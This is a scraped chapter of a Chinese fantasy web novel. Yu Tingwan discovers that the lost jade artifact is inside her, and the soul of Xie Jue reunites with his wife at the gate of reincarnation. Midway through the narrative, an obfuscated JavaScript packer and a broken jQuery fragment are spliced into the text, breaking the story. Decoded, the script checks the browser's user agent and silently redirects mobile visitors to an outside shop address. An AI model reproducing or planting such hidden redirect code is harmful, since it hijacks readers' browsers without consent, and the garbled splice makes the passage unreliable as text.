文趣网 > 其他小说 > 神道降女 > 24.出境
    故事到了这里就停滞了,周围蓦地卷起漫天星光,一切场景都化成了点点细碎的星光消散。

    有的,只是两个刚刚脱阵的少年少女。两人呆呆地坐在地上,脑中乱的很。

    虞听晚尘封的记忆逐渐回归,有关青鸢的一切,都仿佛是一场梦。

    梦醒了,就不再是第一视角。那些刻骨铭心的情感,都随着眼尾那颗朱砂痣一同淡化、消散。

    魔族公主青鸢和正道魁首谢珏,这段被人掩去的故事,终得以重见天日。

    虞听晚眼神呆滞,轻声呢喃着:“原来做邪这么苦啊…”

    青鸢的母亲沐婉,虞听晚并不陌生。她也是轮回境的灵族人,按照辈分来说,她应该唤她一声姑姑。

    姑姑本应该成为这一任的灵女,可她并不想一辈子在轮回境里当差。她听着往来生魂讲自己生前的记忆,讲着人间的景象,对此十分向往。

    于是,她在继任典礼前跑了。

    散去一身修为,踏入轮回,成了天下芸芸众生之一,追寻她想要的自由。

    灵族没了合适的继承人,便赶鸭子上架地将她推举成了这一任的灵女。

    可她那个时候太小了,七情六窍都未全整。就这么被渡了两百年灵力,强行点化。

    她稀里糊涂地成了灵女,成了轮回境最懵懂无知的小神官。

    因为七情六窍没有长好,导致她看起命谱来,也十分费劲。

    虞听晚没想到,入了净魂阵之后,竟然成了姑姑的女儿。

    可惜,她们今世的结局都算不上好。

    至于姑姑留下的一个儿子,她在阵中的弟弟,原就是十七年前发动战争的魔尊天渊。

    姐姐的故事停在了这里,被愧疚裹挟的弟弟一辈子也挣不开这阴霾。

    五百年光阴聚变,他从她口中会被人欺负的窝囊废,蜕变成了后世人尽皆知的嗜血狂魔。

    虞听晚转世携带的那枚神格,如今正被用来封印天渊。

    日后她要拿回神格,免不了要再见到天渊。只是那时候,两人站在对立面,势必要展开一番斡旋。

    虞听晚渐渐醒神了,看向谢珩问道:“你在他的记忆里,找到极玉清源的下落了吗?”

    谢珩方才如梦初醒,此时双眼仍有些迷茫,看着突然闯入眼帘的少女,鬼使神差地伸出手,想要触碰她。

    虞听晚会错了意,扭头朝后看去,发现什么都没有后,又疑惑地看向他。

    “到底在哪儿?”

    谢珩终于回过神,摇了摇头道:“没有,因为他…还没死透。”

    话毕,她们身下的法阵消散,所有的蓝光都在身前汇聚成了一道飘渺人影。

    那是,谢广白最后的心魂所聚。

    他垂眼,双眸淡漠如雪,静静打量着地上的两个人。

    两人随即起身。

    虞听晚盯着他半晌,见他的魂态已经极其微弱,便好心劝道:“再不去轮回境,你的灵魂会彻底消散的。”

    谢珏在璇天境内设下净魂阵,以魂业渡化了青鸢。青鸢在二十年前魂净之后,便被送入了轮回。

    而谢珏,依旧撑着一道魂守在这里。

    “我在等你。”他开口,不平不淡道。

    虞听晚神情诧异:“我们…认识吗?”

    谢珩听着他们的对话,简直一头雾水。

    他的视线在两人之间徘徊。一个自囚此地五百年的魂,怎么会认识他身旁这个小丫头?

    谢珏抬手挥去一道术法,屏蔽了谢珩的耳目,继续道:“我曾和人做下一笔交易,他托我给你带句话。而我,将和我的妻子来世相见。”

    他的妻子是谁,不言而喻。

    “托你带话之人是谁?”

    虞听晚不解,谁有这么大的权利?

    谢珏摇了摇头,“我只和他只在脑中神识对话,总归…不是我的臆想。”

    接着,他一字不落的复述道:

    “由世起孽因,由缘转业果,由汝承悲合。”

    虞听晚茫然地眨了眨眼,直白道:

    “我听不懂。”

    “……”

    “没关系,还有一句。”

    还有一句,更为直白的。

    “善业济世,度苦海如舟筏。如果神族走不出自己的道,那便寂灭吧——”

    她蓦地瞪大了眼睛,愣在原地,“什么?”

    如今神道也只是被封闭,远没有到寂灭的程度。到底是谁,竟能如此狂言?

    “我不负责为你解答这些,我想我可以走了。”谢珏淡淡道。

    他面上有些出神,不知想到了什么,冰雪般冷漠的神色,陡然浮现了几分笑意,仿佛被暖阳浸润了那么一瞬。

    “等等!”虞听晚见状连忙拦下他,慌忙道:“你就算要走,好歹告诉我们极玉清源去哪儿了吧?!”

    “千山派不是只有你一个家主,他们也需要这块儿神玉!”

    谢珏脸上神情复杂,“你真的想知道?”

    “当然!我说这位前辈祖宗,你就快点儿说吧!!”

    她很急,急得不得了。

    谢珏的心魂就快要散了,需要赶紧去轮回境,可他又是这世上唯一知道极玉清源下落的人。哪怕说一句也好啊,说完就走!

    谢珏先前屏蔽谢珩耳目的那道术法破开了,他看着面前这个少年执拗的眉眼,开口道:“极玉清源,就在这儿。”

    他抬手,指尖指向了虞听晚。

    谢珩闻言愣住了,神情微怔地看着她。

    虞听晚再次回头看去,依旧一无所获。直到谢珏眼神坚定地盯着她,她才反应过来,他是在指自己?

    周围陷入一片死寂,两人的目光都重重落在她的身上。

    她呼吸一滞,难以置信地指了指自己。

    “你是说…我…?”

    谢珏点了点头。

    “在我送走阿鸢的第三年,这里闯入了一个妇人。她也是邪道中人,却妄图生下一个健康的孩子,抢走了极玉清源。”

    “我能感应到,那个本该化为一滩怨水,却因为极玉清源而存活下来的胎儿,就是你。”

    原来如此,

    虞听晚忽然什么都明白了。

    原来她在神格被抽离后仍能活下来,原来她的血能够打开璇天境的境门,能够压制谢珩的璃火症……

    一切的一切,都是因为当年师雪凝孤身闯境,拿走了极玉清源。

    那个曾经疯得无法无天,藐视一切法理的姑娘,在知道自己成为了母亲后,好像也收敛了几分疯意。

    她感受着腹中胎儿的跳动,母性唤回了她最后的良善。

    寻遍三万里地山河,只是为了能听她发出一声啼哭,只是为了能看一眼她皱巴着脸的模样。

    而非…只是一滩怨水。

    她这辈子做过很多错事,行差踏错了很多步。

    曾受天下人辱骂,也曾被师门围剿。

    可她唯一后悔的,是不该堕邪,不该累的这个孩子,在血脉中遗留了她的戾气。

    她是她,最后的良善所存。

    然而这些,虞听晚并不知道。

    自她魂灵入世,意识初生起,她就没有见过师雪凝。有关她的所有,都在旁人的谴责和痛骂声中一知半解。

    而如今,她对这位素未谋面的“母亲”,突然生出些不一样的感受。

    她感受着体内的力量,忽地生出些忐忑。在梦境里青鸢因为极玉清源杀了谢广白,谢珩会不会也因此捅她一刀呢?

    她正焦灼着,无意中瞥了一眼谢珩。

    出乎意料的,那张疏眉朗目的脸上并未出现杀意。

    一双冷眸平静地盯着她,剑眉舒展,并没有她想象中寒人心绪的凛冽,和非杀不可的阴狠。

    只是他眼神晦暗,不知在想些什么。

    谢珏道:“灵脉闭塞,是你强占极玉清源的副作用。要想打通,除非找到同源的女娲石开启四重试。你每通过一重,闭塞的灵脉便会被打通一分。”

    “大道得成之日,用你的血炼化一枚极玉清源,便不成问题。”

    女娲石,传说是女娲大神寂灭时的心脏所化。

    女娲大神座下弟子芸芸,本想借助此石的力量,为师父重新塑身聚元,却被这块儿石头拒绝了。

    它毅然决然地发动凌波,斥退了一众帝君元君,随即飞落下界,滞留凡尘。

    虞听晚明白,现在的她就算拿回了神格,也会因为灵脉闭塞爆体而亡。

    她必须要打通灵脉的闭塞,必须要找到女娲石通过四重试炼。

    这一趟来璇天境,虽然过程坎坷了些。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|15939057|176582||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    至少,她终于有了方向。

    谢珏得走了,如今的缘法全都清了。

    后世的恩怨纠葛与他再无任何关系,他只是一只,即将重获新生的魂。

    在他离开之前,虞听晚借用了谢珩体内玉泠花的力量,捏了一道诀,召出了一条萤鱼。

    小萤鱼生在无忧池畔,万蚀不侵,可保魂体微弱的谢珏顺利地渡过忘川。

    谢珏似乎嫌丑,迟迟不肯接住,

    于是她扶着下巴,想了想道:“你应该不想渡忘川的时候被蚕食灵智,下辈子变成个痴呆吧?”

    谢珏:……

    他闻言果断伸手接住了。

    那条小萤鱼有些不乐意了,转过身去,长长的鱼尾泄愤地扫着他的魂体。

    虞听晚轻叹一声,随即凑在它身侧,低声私语道:“茵茵,你别跟他置气嘛。等我回去了给你记一笔功德,助你早日化形!”

    茵茵闻言气消了大半,转身看向谢珏,随即绕着他不情不愿地转了几圈。

    他的虚影渐渐消散,点点蓝色灵光犹如水滴坠入深谭般,荡起层层波澜便沉寂其中。

    忘川河畔,有幽冥千万,或盘踞于空,或游转于河。

    此地厉鬼哀嚎,生魂惋叹,蚀魂阴风阵阵狂卷。

    渡过鬼气森森的忘川,跨入世外洞天的轮回境后,在那棵三桑古树下,

    树灵问:论汝今生善业,所化为何?

    他道:一人。

    树灵:且渡一人,也可。

    树灵给了他一盏魂灯,告诫他务必要在灯灭前踏入轮回门,转世投胎。

    谢珏却不肯走,他回望这偌大的轮回境,却寻不到他要等的人。

    比他早来了二十年的姑娘,应该早就走了。

    他用三世的不得善终做交换,换来她下辈子的一世圆满。

    只希望,她是高高兴兴的,去迎接自己依旧恣意风光的来世。

    树灵看出了他的心思,劝解道:

    “今生爱恨,难圆前世嗔痴。”

    “一入轮回,便是前尘散尽。望施主早悟兰因,勿耽絮果。”

    谢珏闻言沉眸道:

    “既如此,我便不入轮回。”

    “我愿化作河上石桥,免去她世世轮回,魂渡忘川之苦。”

    树灵闻言一怔。

    忘川难渡,河中业水会灼烧往来魂体。

    若有人肯化作忘川河上的一座桥,倒能免去一些魂弱之人,无法渡河的遗憾。

    魂弱之人,譬如已经被邪息侵蚀过魂灵的青鸢。密密麻麻的裂隙,将伴随她永生永世,这世间尚无任何术法可以修补。

    只要谢珏的执念不散,业魂所化的石桥便永远不会坍塌。

    树灵想了想,又问道:

    “只是…你求什么?”

    他说:“渡千人也可,渡万人也可。只要千万人中有一人是她,我便心甘情愿。”

    “倒是有趣。”树灵沉默了两秒,随即发出一阵笑声。

    “且渡一人,原来是这么个渡法。”

    灵谱上,它方才记下的四个大字,正在闪烁着金光——且渡一人。

    谢珏闭上了眼,在脑海中回忆着和青鸢的种种过往。

    她的笑容,她的灵黠,她的明媚…他全都放不下。

    如果踏入轮回,要舍弃这段过往。那么谢珏不再是谢珏,青鸢也不再是青鸢。

    那他宁愿,守着从前度日。

    “小结巴,我怎么可能抛下你,一个人走呢?”

    一道声音从身后传来,谢珏猛地睁开眼,僵硬地转身回头。

    女子的笑容干净明媚。

    那双灼灼风流的桃花眼,和眼尾一颗勾人心魄的朱砂痣,都一如从前,一如当年……

    她伸手,温柔地抚过他的脸庞:“你是个傻子,下辈子要聪明一点儿才好。”

    谢珏抱住她,魂泪滴滴砸落:“能再见到你,我没有遗憾了。”

    树灵叹了一声,它的石桥泡汤了。

    天道默许了他们的来世续缘。

    此前世嗔痴,势必会牵扯出今生爱恨。

    然今生爱恨,却难圆前世嗔痴。

    无妄绝情走一遭,顿悟人世蒙顿理。

    三世轮回苦一趟,圆缺爱恨得大道。